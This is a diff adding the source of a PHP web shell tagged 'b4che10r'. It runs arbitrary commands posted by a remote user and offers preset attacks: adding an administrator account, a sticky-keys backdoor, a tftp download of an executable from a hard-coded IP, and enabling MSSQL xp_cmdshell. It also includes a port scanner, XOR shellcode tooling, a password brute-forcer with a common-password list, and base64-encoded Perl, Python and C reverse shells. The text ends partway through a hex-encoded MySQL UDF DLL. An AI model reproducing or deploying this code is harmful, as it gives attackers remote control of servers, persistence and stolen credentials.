+		array("server port",$_SERVER['SERVER_PORT']),
+		array("php run mode",strtoupper(php_sapi_name())),
+		array("php ver",PHP_VERSION),
+		array("run in safe mode",Info_Cfg("safemode")),
+		array("server administrator",$adminmail),
+		array("current file path",__FILE__),
+		array("allow_url_fopen",Info_Cfg("allow_url_fopen")),
+		array("enable load dll",Info_Cfg("enable_dl")),
+		array("display_errors",Info_Cfg("display_errors")),
+		array("register_globals",Info_Cfg("register_globals")),
+		array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")),
+		array("memory_limit",Info_Cfg("memory_limit")),
+		array("post_max_size",Info_Cfg("post_max_size")),
+		array("upload_max_filesize",$upsize),
+		array("max_execution_time",Info_Cfg("max_execution_time")."second"),
+		array("disable_functions",$dis_func),
+		array("phpinfo()",$phpinfo),
+		array("free disk space",intval(diskfreespace(".") / (1024 * 1024)).'Mb'),
+		array("GD Library",Info_Fun("imageline")),
+		array("IMAP",Info_Fun("imap_close")),
+		array("Mysql database",Info_Fun("mysql_close")),
+		array("SyBase database",Info_Fun("sybase_close")),
+		array("Oracle database",Info_Fun("ora_close")),
+		array("Oracle 8 database",Info_Fun("OCILogOff")),
+		array("PREL PCRE",Info_Fun("preg_match")),
+		array("support PDF",Info_Fun("pdf_close")),
+		array("Postgresql database",Info_Fun("pg_close")),
+		array("SNMP",Info_Fun("snmpget")),
+		array("Zlib",Info_Fun("gzclose")),
+		array("parse XML",Info_Fun("xml_set_object")),
+		array("FTP",Info_Fun("ftp_login")),
+		array("ODBC",Info_Fun("odbc_close")),
+		array("support Session",Info_Fun("session_start")),
+		array("support Socket",Info_Fun("fsockopen")),
+	);
+	echo '<table width="100%" border="0">';
+	for($i = 0;$i < count($info);$i++){echo '<tr><td width="40%">'.$info[$i][0].'</td><td>'.$info[$i][1].'</td></tr>'."\n";}
+	echo '</table>';
+	return true;
+}
+
+//execute command with php function
+function Exec_Run($cmd)
+{ 
+        $res = '';
+	if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
+	elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
+	elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
+	elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
+	elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
+	return $res;
+}
+
+
+function Exec_g()
+{       
+        echo '<br>';
+	$res = 'back screen';
+	$cmd = 'dir';
+	if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];}
+print<<<END
+<script language="javascript">
+function sFull(i){
+	Str = new Array(11);
+	Str[0] = "ver";
+        Str[1] = "path";
+        Str[2] = "ipconfig /all";
+        Str[3] = "whoami";
+        Str[4] = "tasklist /svc";
+        Str[5] = "netstat -an";
+        Str[6] = "systeminfo";
+	Str[7] = "net user";
+        Str[8] = "net view";
+        Str[9] = "net config workstation";
+        Str[10] = "net config server";
+	Str[11] = "net user b4che10r b4che10r /add & net localgroup administrators b4che10r /add";
+	Str[12] = "query user";
+	Str[13] = "copy c:\\1.php d:\\2.php";
+        Str[14] = "copy c:\\windows\\explorer.exe c:\\windows\\system32\\sethc.exe & copy c:\\windows\\system32\\sethc.exe c:\\windows\\system32\\dllcache\\sethc.exe";
+	Str[15] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe";
+        Str[16] = "ps -ef";
+        Str[17] = "ifconfig";
+        Str[18] = "cat /etc/syslog.conf";
+        Str[19] = "cat /etc/my.cnf";
+        Str[20] = "cat /etc/hosts";
+        Str[21] = "cat /etc/services";
+	document.getElementById('cmd').value = Str[i];
+	return true;
+}
+</script>
+<div class="actall"><form method="POST" name="gform" id="gform" action="?s=g">
+Command: <input type="text" name="cmd" id="cmd" value="{$cmd}" style="width:369px;">
+<select onchange='return sFull(options[selectedIndex].value)'>
+<option value="0" selected>----Command Collection----</option>
+<option value="1">path(win)</option>
+<option value="2">ipconfig(win)</option>
+<option value="3">whoami(win)</option>
+<option value="4">tasklist(win)</option>
+<option value="5">port view</option>
+<option value="6">systeminfo(win)</option>
+<option value="7">net user(win)</option>
+<option value="8">net view(win)</option>
+<option value="9">net config workstation(win)</option>
+<option value="10">net config server(win)</option>
+<option value="11">add administrators(win)</option>
+<option value="12">query user(win)</option>
+<option value="13">copy file(win)</option>
+<option value="14">shift backdoor(win)</option>
+<option value="15">FTP download(win)</option>
+<option value="16">ps(linux)</option>
+<option value="17">ifconfig(linux)</option>
+<option value="18">syslog.conf(linux)</option>
+<option value="19">my.cnf(linux)</option>
+<option value="20">hosts(linux)</option>
+<option value="21">services(linux)</option>
+
+</select>
+<input class="bt" type="submit" value="execute" ></div>
+<div class="actall"><textarea name="show" style="width:720px;height:450px;">{$res}</textarea></div>
+</form>
+END;
+	return true;
+}
+
+//api
+
+function Com_h()
+{
+	$object = isset($_GET['o']) ? $_GET['o'] : 'adodb';
+	$com = array("adodb" => "ADODB.Connection","wscript" => "WScript.shell","application" => "Shell.Application");
+print<<<END
+<div class="actall"><a href="?s=h&o=adodb">[ADODB.Connection]</a> 
+<a href="?s=h&o=wscript">[WScript.shell]</a> 
+<a href="?s=h&o=application">[Shell.Application]</a></div>
+<div class="actall" style="height:200px;">
+<form method="POST" name="hform" id="hform" action="?s=h&o={$object}"><br>
+END;
+	$shell = new COM($com[$object]);
+if($object == 'wscript')
+{
+	$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir';
+        $cmdpath = isset($_POST['cmdpath']) ? $_POST['cmdpath'] : 'c:\\windows\\system32\\cmd.exe';
+print<<<END
+&nbspcmdpath:<input type="text" name="cmdpath" value="{$cmdpath}" style="width:600px;"><br>
+command:<input type="text" name="cmd" value="{$cmd}" style="width:600px;">
+<input class="bt" type="submit" value="execute"></form><br>
+END;
+	if(!empty($_POST['cmd']))
+	{
+                
+		$exe = @$shell->exec("$cmdpath /c ".$cmd);
+		$out = $exe->StdOut();
+		$output = $out->ReadAll();
+		echo '<pre>'.$output.'</pre>';
+	}
+}
+elseif($object == 'application')
+{
+	$run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe';
+	$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini';
+print<<<END
+Path:<br><input type="text" name="run" value="{$run}" style="width:600px;">
+<br><br>Command argv:<br><input type="text" name="cmd" value="{$cmd}" style="width:600px;">
+<br><br><input class="bt" type="submit" value="execute"></form><br>
+END;
+	if(!empty($_POST['run'])) echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? 'Done' : 'Faild';
+}
+elseif($object == 'adodb')
+{
+	$string = isset($_POST['string']) ? $_POST['string'] : '';
+	$sql = isset($_POST['sql']) ? $_POST['sql'] : '';
+print<<<END
+<script language="javascript">
+function hFull(i){
+	if(i==0 || i==10) return false;
+	Str = new Array(12);  
+	Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb;Jet OLEDB:Database Password=***";
+	Str[2] = "Driver={Sql Server};Server=localhost,1433;Database=DbName;Uid=sa;Pwd=sa";
+	Str[3] = "Driver={MySql};Server=localhost;Port=3306;Database=DbName;Uid=root;Pwd=root";
+	Str[4] = "Provider=OraOLEDB.Oracle.1;User ID=oracle;Password=oracle;Data Source=ORACLE;Persist Security Info=True;";
+        Str[5] = "driver={IBM db2 odbc DRIVER};database=mydb;hostname=localhost;port=50000;protocol=TCPIP;uid=root; pwd=pass";
+        Str[6] = "DRIVER={POSTGRESQL};SERVER=127.0.0.1;DATABASE=PostGreSQL;UID=postgresql;PWD=123456;";
+        Str[7] = "Dsn='';Driver={INFORMIX 3.30 32 BIT};Host=myHostname;Server=myServerName;Service=myServiceName;Protocol=olsoctcp;Database=myDbName;UID=myUsername;PWD=myPassword";
+	Str[8] = "DSN=mydns;Uid=username;Pwd=password";
+        Str[9] = "FILEDNS=c:\\\path\\\db.dsn;Uid=username;Pwd=password";
+        Str[11] = "SELECT * FROM [TableName] WHERE ID<100";
+	Str[12] = "INSERT INTO [TableName](USER,PASS) VALUES('b4che10r','mypass')";
+	Str[13] = "UPDATE [TableName] SET USER='b4che10r' WHERE ID=100";
+	Str[14] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
+	Str[15] = "DROP TABLE [TableName]";
+	Str[16] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
+        Str[17] = "select shell('c:\windows\system32\cmd.exe /c net user b4che10r abc123 /add');";
+        Str[18] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;";
+        Str[19] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;";
+        Str[20] = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;";
+        Str[21] = "Use master dbcc addextendedproc ('xp_cmdshell','xplog70.dll')";
+        Str[22] = "Use master dbcc addextendedproc ('sp_OACreate','odsole70.dll')";
+        Str[23] = "Declare @s  int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo '<?php phpinfo();?>' > c:\info.php';";
+	Str[24] = "sp_makewebtask @outputfile='d:\\\web\\\test.php',@charset=gb2312,@query='select test';";
+        Str[25] = "Exec master.dbo.xp_cmdshell 'ver';";
+        Str[26] = "Select Name FROM Master..SysDatabases;";
+        Str[27] = "select name from sysobjects where type='U';";
+        Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');";
+        Str[29] = "select username,password from dba_users;";
+        Str[30] = "select TABLE_NAME from all_tables;";
+        Str[31] = "desc admin;";
+        Str[32] = "grant connect,resource,dba to user_name;";
+        Str[33] = "select datname from pg_database;";
+        Str[34] = "select relname from pg_stat_user_tables;";
+        Str[35] = "\\\d table_name";
+        Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
+        Str[37] = "\\\! uname -a";
+        Str[38] = "select schemaname from syscat.schemata;";
+        Str[39] = "select name from sysibm.systables;";
+        Str[40] = "select colname from syscat.columns where tabname='table_name';";
+        Str[41] = "db2 get db cfg for db_name;";
+        Str[42] = "select name from sysdatabases;";
+        Str[43] = "select tabname from systables where tabid=n;";
+        Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;";
+        Str[45] = "select username,usertype,password from sysusers;";
+        if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
+	return true;
+}
+</script>
+conn strings:<br> <input type="text" name="string" id="string" value="{$string}" style="width:800px;">
+<select onchange="return hFull(options[selectedIndex].value)">
+<option value="0" selected>--select range--</option>
+<option value="1">Access</option>
+<option value="2">MsSql</option>
+<option value="3">MySql</option>
+<option value="4">Oracle</option>
+<option value="5">DB2</option>
+<option value="6">PostGreSQL</option>
+<option value="7">Informix</option>
+<option value="8">DSN</option>
+<option value="9">FILEDSN</option>
+<option value="10">--sql statement--</option>
+<option value="11">show data</option>
+<option value="12">insert data</option>
+<option value="13">update data</option>
+<option value="14">create table</option>
+<option value="15">drop table</option>
+<option value="16">add column</option>
+<option value="17">access shell()</option>
+<option value="18">add xp_cmdsehll(sql2005)</option>
+<option value="19">add oacreate(sql2005)</option>
+<option value="20">add openrowset(sql2005)</option>
+<option value="21">add xp_cmdsehll(sql2000)</option>
+<option value="22">add oacreate(sql2000)</option>
+<option value="23">oamethod exec</option>
+<option value="24">sp_makewebtask</option>
+<option value="25">xp_cmdshell</option>
+<option value="26">databases(sql)</option>
+<option value="27">tables(sql)</option>
+<option value="28">columns(sql)</option>
+<option value="29">hashes(oracle)</option>
+<option value="30">tables(oracle)</option>
+<option value="31">columns(oracle)</option>
+<option value="32">grant(oracle)</option>
+<option value="33">databases(pgsql)</option>
+<option value="34">tables(pgsql)</option>
+<option value="35">columns(pgsql)</option>
+<option value="36">pg_hba.conf(pgsql)</option>
+<option value="37">os-command(pgsql)</option>
+<option value="38">databases(db2)</option>
+<option value="39">tables(db2)</option>
+<option value="40">columns(db2)</option>
+<option value="41">db config(db2)</option>
+<option value="42">databases(informix)</option>
+<option value="43">tables(informix)</option>
+<option value="44">columns(informix)</option>
+<option value="45">hashes(informix)</option>
+</select>
+<br><br>SQL Commnad:<br> <input type="text" name="sql" id="sql" value="{$sql}" style="width:800px;">
+<input class="bt" type="submit" value="execute">
+</form><br>
+END;
+	if(!empty($string))
+	{
+		@$shell->Open($string);
+		$result = @$shell->Execute($sql);
+		$count = $result->Fields->Count();
+		for($i=0;$i < $count;$i++){$Field[$i] = $result->Fields($i);}
+		echo $result ? $sql.' Done<br>' : $sql.' Faild<br>';
+		if(!empty($count)){while(!$result->EOF){for($i=0;$i < $count;$i++){echo $Field[$i]->value.'<br>';}@$result->MoveNext();}}
+		$shell->Close();
+	}
+}
+	$shell = NULL;
+	echo '</div>';
+	return true;
+}
+
+//scan port
+
+function Port_i()
+{
+print<<<END
+<div class="actall" style="height:200px;">
+<form method="POST" name="iform" id="iform" action="?s=i">
+Scan IP<br><input type="text" name="ip" value="127.0.0.1" style="width:600px;">
+<br><br>Ports<br><input type="text" name="port" value="21|22|1433|1521|3306|3389|4899|5432|5631|5800|8000|8080|43958" style="width:600px;">
+<br><br> <input class="bt" type="submit" value="Scan">
+</form><br>
+END;
+	if((!empty($_POST['ip'])) && (!empty($_POST['port'])))
+	{
+		$ports = explode('|',$_POST['port']);
+		for($i = 0;$i < count($ports);$i++)
+		{
+			$fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,1);
+			echo $fp ? '<font color="#FF0000">Openned Ports ---> '.$ports[$i].'</font><br>' : 'Closed Ports ---> '.$ports[$i].'<br>';
+			ob_flush();
+			flush();
+		}
+	}
+	echo '</div>';
+	return true;
+}
+
+//convert shellcode
+
+function shellcode_decode($Url_String,$Oday_value)
+{
+	$Oday_value = hexdec($Oday_value);
+	$$Url_String = str_replace(" ", "", $Url_String);
+	$SHELL = explode("%u", $Url_String);
+	for($i=0;$i < count($SHELL);$i++)
+	{
+		$Temp = $SHELL[$i];
+		$s_1 = substr($Temp,2);
+		$s_2 = substr($Temp,0,2);
+		$COPY .= $s_1.$s_2;
+	}
+	for($n=0; $n < strlen($COPY); $n+=2){$Decode .= pack("C", hexdec(substr($COPY, $n, 2) )^ $Oday_value);}
+	return $Decode;
+}
+
+function shellcode_encode($Url_String,$Oday_value)
+{
+	$Length =strlen($Url_String);
+	$Todec = hexdec($Oday_value);
+	for ($i=0; $i < $Length; $i++)
+	{
+		$Temp = ord($Url_String[$i]);
+		$Hex_Temp = dechex($Temp ^ $Todec);
+		if (hexdec($Hex_Temp) < 16) $Hex_Temp = '0'.$Hex_Temp;
+		$hex .= $Hex_Temp;
+	}
+	if ($Length%2) $hex .= $Oday_value.$Oday_value; else $hex .= $Oday_value.$Oday_value.$Oday_value.$Oday_value;
+	for ($n=0; $n < strlen($hex); $n+=4)
+	{
+		$Temp = substr($hex, $n, 4);
+		$s_1= substr($Temp,2);
+		$s_2= substr($Temp,0,2);
+		$Encode.= '%u'.$s_1.$s_2;
+	}
+	return $Encode;
+}
+
+function shellcode_findxor($Url_String)
+{
+	for ($i = 0; $i < 256; $i++)
+	{
+		$shellcode[0] = shellcode_decode($Url_String, dechex($i));
+		if ((strpos ($shellcode[0],'tp:')) || (strpos ($shellcode[0],'url')) || (strpos ($shellcode[0],'exe')))
+		{
+			$shellcode[1] = dechex($i);
+			return $shellcode;
+		}
+	}
+}
+
+function Shellcode_j()
+{
+	$Oday_value = '0';
+	$Shell_Code = 'http://blog.taskkill.net/mm.exe';
+	$checkeda = ' checked';
+	$checkedb = '';
+	if(!empty($_POST['code']))
+	{
+		if($_POST['xor'] == 'a' && isset($_POST['number'])){$Oday_value = $_POST['number'];$Shell_Code = shellcode_encode($_POST['code'],$Oday_value);}
+		if($_POST['xor'] == 'b'){$checkeda = '';$checkedb = ' checked';$Shell_Code_Array = shellcode_findxor($_POST['code']);$Shell_Code = $Shell_Code_Array[0];$Oday_value = $Shell_Code_Array[1];}
+		if(!$Oday_value) $Oday_value = '0';
+		if(!$Shell_Code) $Shell_Code = 'could not find the shellcode download url';
+		$Shell_Code = htmlspecialchars($Shell_Code);
+	}
+print<<<END
+<form method="POST" name="jform" id="jform" action="?s=j">
+<div class="actall">XOR Value:<input name="number" value="{$Oday_value}" type="text" style="width:50px">&nbsp;&nbsp;&nbsp;
+<input type="radio" name="xor" value="a"{$checkeda}>encode shellcode with XOR <input type="radio" name="xor" value="b"{$checkedb}>decode shellcode with XOR</div>
+<div class="actall"><textarea name="code" rows="20" cols="165">{$Shell_Code}</textarea></div>
+<div class="actall"><input class="bt" type="submit" value="Convert"></div>
+</form>
+END;
+	return true;
+}
+
+//weak scan
+
+function Crack_k()
+{
+	$MSG_BOX = 'waiting for message queue......';
+	$ROOT_DIR = File_Mode();
+	$SORTS = explode('/',$ROOT_DIR);
+	array_shift($SORTS);
+	$PASS = join(',',$SORTS);
+	for($i = 0;$i < 10;$i++){$n = (string)$i; $PASS .= $n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.','; $PASS .= $n.$n.$n.$n.$n.$n.$n.$n.',';}
+	if((!empty($_POST['address'])) && (!empty($_POST['user'])) && (!empty($_POST['pass'])))
+	{
+		$SORTPASS = explode(',',$_POST['pass']);
+		$connect = false;
+		$MSG_BOX = 'not found';
+		for($k = 0;$k < count($SORTPASS);$k++)
+		{
+			if($_POST['class'] == 'mysql') $connect = @mysql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k]));
+			if($_POST['class'] == 'ftp'){$Ftp_conn = @ftp_connect($_POST['address'],'21');$connect = @ftp_login($Ftp_conn,$_POST['user'],chop($SORTPASS[$k]));}
+			if($_POST['class'] == 'mssql') $connect = @mssql_connect($_POST['address'],$_POST['user'],chop($SORTPASS[$k]));
+                       // if($_POST['class'] == 'pgsql') $connect = @pg_connect("host=$_POST['address'] port=5432 dbname=postgres user=$_POST['user'] password=".chop($SORTPASS[$k]));
+                        if($_POST['class'] == 'pgsql') $connect = @pg_connect("host={$_POST['address']} port=5432 dbname=postgres user={$_POST['user']} password={chop($SORTPASS[$k])}");
+                        //$connect = @oci_connect('system','oracle','"//localhost/orcl');
+                        if($_POST['class'] == 'oracle') $connect = @oci_connect($_POST['user'],chop($SORTPASS[$k]),$_POST['address']);
+                        if($_POST['class'] == 'ssh'){$ssh_conn = @ssh2_connect($_POST['address'],'22');$connect = @ssh2_auth_password($ssh_conn,$_POST['user'],chop($SORTPASS[$k]));}
+                        if($connect) $MSG_BOX = '[project: '.$_POST['class'].'] [ip: '.$_POST['address'].'] [user: '.$_POST['user'].'] [pass: '.$SORTPASS[$k].']';
+		}
+	}
+print<<<END
+<form method="POST" name="kform" id="kform" action="?s=k">
+<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
+<div class="actall">Host <input type="text" name="address" value="localhost" style="width:300px"></div>
+<div class="actall">User <input type="text" name="user" value="root" style="width:300px"></div>
+<div class="actall">Pass <textarea name="pass" rows="20" cols="165">{$PASS}root,123456,123123,123321,admin,admin888,admin@admin,root@root,qwer123,5201314,iloveyou,fuckyou,kissme,520520,5845201314,a123456,a123456789</textarea></div>
+<div class="actall">Crack Project: <input type="radio" name="class" value="mysql" checked>Mysql 
+<input type="radio" name="class" value="ftp">FTP<input type="radio" name="class" value="mssql" checked>mssql<input type="radio" name="class" value="pgsql" checked>Pgsql<input type="radio" name="class" value="oracle" checked>Oracle<input type="radio" name="class" value="ssh" checked>SSH</div>
+<div class="actall"><input class="bt" type="submit" value="Begin"></div></form>
+END;
+	return true;
+}
+
+//back connect
+
+function Linux_l()
+{ 
+        echo '<br><br>';
+print<<<END
+<div class="actall" style="height:100px;"><form method="POST" name="lform" id="lform" action="?s=l">
+Your IP: <input type="text" name="yourip" value="" style="width:200px">
+Your Port: <input type="text" name="yourport" value="1120" style="width:100px">
+Script Used: <select name="use" >
+<option value="perl">perl</option>
+<option value="python">python</option>
+<option value="c">c</option>
+</select>
+<input class="bt" type="submit" value="Connect"></form><br>
+END;
+	if((!empty($_POST['yourip'])) && (!empty($_POST['yourport'])))
+	{
+		if($_POST['use'] == 'perl')
+		{
+			$back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
+			"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
+			"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
+			"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
+			"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
+			"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
+			"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
+			echo File_Write('/tmp/b4che10r_pl',base64_decode($back_connect_pl),'wb') ? '<font style=font:11pt color=ff0000>create /tmp/b4che10r_pl success</font><br>' : '<font style=font:11pt color=ff0000>create /tmp/b4che10r_pl faild</font><br>';
+			$perlpath = Exec_Run('which perl');
+			$perlpath = $perlpath ? chop($perlpath) : 'perl';
+			echo Exec_Run($perlpath.' /tmp/b4che10r_pl '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? '<font style=font:11pt color=ff0000>execute command faild</font>' : '<font style=font:11pt color=ff0000>execute command successfully</font>';
+		}
+                if($_POST['use'] == 'python')
+                {      
+                        $back_connect_py="IyAtKi0gY29kaW5nOnV0Zi04IC0qLQ0KIyEvdXNyL2Jpbi9lbnYgcHl0aG9uDQoiIiINCmJhY2sgY29ubmVjdCBweSB2ZXJzaW9uLG9ubHkgbGludXggaGF2ZS".
+                        "BwdHkgbW9kdWxlDQoiIiINCmltcG9ydCBzeXMsb3Msc29ja2V0LHB0eQ0Kc2hlbGwgPSAiL2Jpbi9zaCINCmRlZiB1c2FnZShuYW1lKToNCiAgICBwcmludCAn".
+                        "cHl0aG9uIGNvbm5lY3QgYmFja2Rvb3InDQogICAgcHJpbnQgJ3VzYWdlOiAlcyA8aXBfYWRkcj4gPHBvcnQ+JyAlIG5hbWUNCg0KZGVmIG1haW4oKToNCiAgIC".
+                        "BpZiBsZW4oc3lzLmFyZ3YpICE9MzoNCiAgICAgICAgdXNhZ2Uoc3lzLmFyZ3ZbMF0pDQogICAgICAgIHN5cy5leGl0KCkNCiAgICBzPXNvY2tldC5zb2NrZXQo".
+                        "c29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KICAgIHRyeToNCiAgICAgICAgcy5jb25uZWN0KChzeXMuYXJndlsxXSxpbnQoc3lzLmFyZ3ZbMl".
+                        "0pKSkNCiAgICAgICAgcHJpbnQgJ2Nvbm5lY3Qgb2snDQogICAgZXhjZXB0Og0KICAgICAgICBwcmludCAnY29ubmVjdCBmYWlsZCcNCiAgICAgICAgc3lzLmV4".
+                        "aXQoKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIocy5maWxlbm8oKSwyKQ0KICAgIG".
+                        "dsb2JhbCBzaGVsbA0KICAgIG9zLnVuc2V0ZW52KCdISVNURklMRScpDQogICAgb3MudW5zZXRlbnYoJ0hJU1RGSUxFU0laRScpDQogICAgcHR5LnNwYXduKHNo".
+                        "ZWxsKQ0KICAgIHMuY2xvc2UoKQ0KDQppZiBfX25hbWVfXyA9PSAnX19tYWluX18nOg0KICAgIG1haW4oKQ==";
+                        echo File_Write('/tmp/b4che10r_py',base64_decode($back_connect_py),'wb') ? '<font style=font:11pt color=ff0000>create /tmp/b4che10r_py success</font><br>' : '<font style=font:11pt color=ff0000>create /tmp/b4che10r_py faild</font><br>';
+                        $pypath = Exec_Run('which python');
+                        $pypath = $pypath ? chop($pypath) : 'python';
+                        echo Exec_Run($pypath.' /tmp/b4che10r_py '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? '<font style=font:11pt color=ff0000>execute command faild</font>' : '<font style=font:11pt color=ff0000>execute command successfully</font>';
+                }      
+                        
+		if($_POST['use'] == 'c')
+		{
+			$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
+			"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
+			"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
+			"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
+			"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
+			"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
+			"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
+			"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
+			echo File_Write('/tmp/b4che10r_bc.c',base64_decode($back_connect_c),'wb') ? '<font style=font:11pt color=ff0000>create /tmp/b4che10r_bc.c success</font><br>' : '<font style=font:11pt color=ff0000>create /tmp/b4che10r_bc.c faild</font><br>';
+			$res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
+			@unlink('/tmp/b4che10r_bc.c');
+			echo Exec_Run('/tmp/b4che10r_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? '<font style=font:11pt color=ff0000>execute command successfully</font>' : '<font style=font:11pt color=ff0000>execute command faild</font>';
+		}
+		echo '<br>local machine need run (nc -vv -l -p '.$_POST['yourport'].')';
+	}
+	echo '</div>';
+	return true;
+}
+
+//mysql udf
+function get_code() {
+     return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7